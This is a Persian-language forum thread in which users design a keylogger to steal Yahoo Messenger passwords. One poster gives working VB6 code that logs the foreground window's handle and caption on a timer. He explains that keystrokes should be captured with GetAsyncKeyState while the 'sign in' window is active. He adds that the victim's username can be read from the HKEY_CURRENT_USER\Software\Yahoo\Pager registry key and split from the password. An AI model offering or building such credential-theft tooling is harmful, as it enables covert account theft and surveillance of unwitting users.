اينو برام توضيح كامل بده البته اگه زحمتي نيستنقل قول:
نوشته شده توسط Payman_62
Printable View
اينو برام توضيح كامل بده البته اگه زحمتي نيستنقل قول:
نوشته شده توسط Payman_62
GetForegroundWindow كه خيلي سادست. پارامتري نداره. بگو hWnd=GetForegroundWindow بعد هندل پنجره داراي فوكوس ريخته ميشه تو hWnd . بذار تو يه تايمر كه هر پنجره اي كه فوكوس گرفت هندلشو برگردونه.
GetWindowTextLength طول كپشن رو برميگردونه. كه ازش تو يكي از پارامترهاي GetWindowText استفاده ميشه.
GetWindowText هم كه خود كپشن رو ميده.
اينم يه مثال كه هندل به همراه كپشن همه پنجره هارويي كه فوكوس بگيرن رو ميريزه تو تكس باكس.
کد:Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Dim hWndTitle As String
Dim Handle As Long
Private Sub Command1_Click()
Text1.Text = ""
Timer1.Interval = 500
End Sub
Private Sub Timer1_Timer()
'gereftan Handle panjereye daraye focus
Handle = GetForegroundWindow
'be dast avardane toole caption jahate tayine toole hWndTitle
hWndTitle = String(GetWindowTextLength(Handle), 0)
'gereftane caption
GetWindowText Handle, hWndTitle, (GetWindowTextLength(Handle) + 1)
Text1.Text = Text1.Text & Handle & "----->" & hWndTitle & vbNewLine
End Sub
قربون مرامت پيمان جون
قابل نداشت.
اینجوری که هم یوز گرفته میشه هم پس با هم جدا جداش نمیشه کرد
اینم یادم رفت چه جوری تشخیص بدم یارو کلید sing in زده و login شده
كاري نداره كه خيلي كارا ميتوني بكني. مثلا ميتوني از مسير HKEY_CURRENT_USER\Software\Yahoo\Pager و value به نام Yahoo! User ID نام يوزر طرف رو بخوني و از پسوردش جدا كني.نقل قول:
اینجوری که هم یوز گرفته میشه هم پس با هم جدا جداش نمیشه کرد
رو sign in اول مسنجر كه كليك شه اگه سيو پسورد زده نشده باشه آماده ميشه براي وارد كردن يوزر و پسورد. كپشنم همون sign in هست. هر وقت اين كپشنو ديدي هر كليدي فشرده شد رو ثبت كن و بريز تو يه متغير. وقتي طرف رو sign in دوم كليك كرد تا وارد مسنجر شه فوكوس ميره رو خود مسنجر و كپشن باز هم عوض ميشه.نقل قول:
اینم یادم رفت چه جوری تشخیص بدم یارو کلید sing in زده و login شده
( يه همچين چيزي ميشه Yahoo! Messenger with Voice) اون موقع ميفهمي عمل يوزر پسورد وارد كردن تمام شده. ديگه كليدي رو ثبت نكن. برو از اون مسير تو رجيستري كه گفتم يوزر رو بخون و از پسورد تفكيكش كن.
اهان یه چیزایی گرفتم
ببین پیمان جون اگه یارو کنسلم یزنه همون کپشن Yahoo! Messenger with Voice میاد بنابراین مثلا پس اشتباهو سند میکنه اصلا کپشن یاهو قبل اینکه بری تو sin in همون Yahoo! Messenger with Voice هستش من کلی رو این مثله فکر کردم ولی راهی نرسی به زهنم که توش امکان اشتباه نباشه ولی یه چیزی نمیتونیم هیچ رقمه بفیم طرف چه کیلیدی رو میزنه هان
******************
البه یه راه دیگه هم هست که اگه نشد از این راه بحسشو بعد اون ادامه میدیم
خوب كنسل بزنه. چه مشكليه. تو از Yahoo! Messenger with Voice ميفهمي كه طرف در صفحه sign in نيست. وقتي اومد رو پنجره Yahoo! Messenger with Voice ديگه كليدي ثبت نكن.
براي ثبت كليد ها هم از GetAsyncKeyState استفاده كن.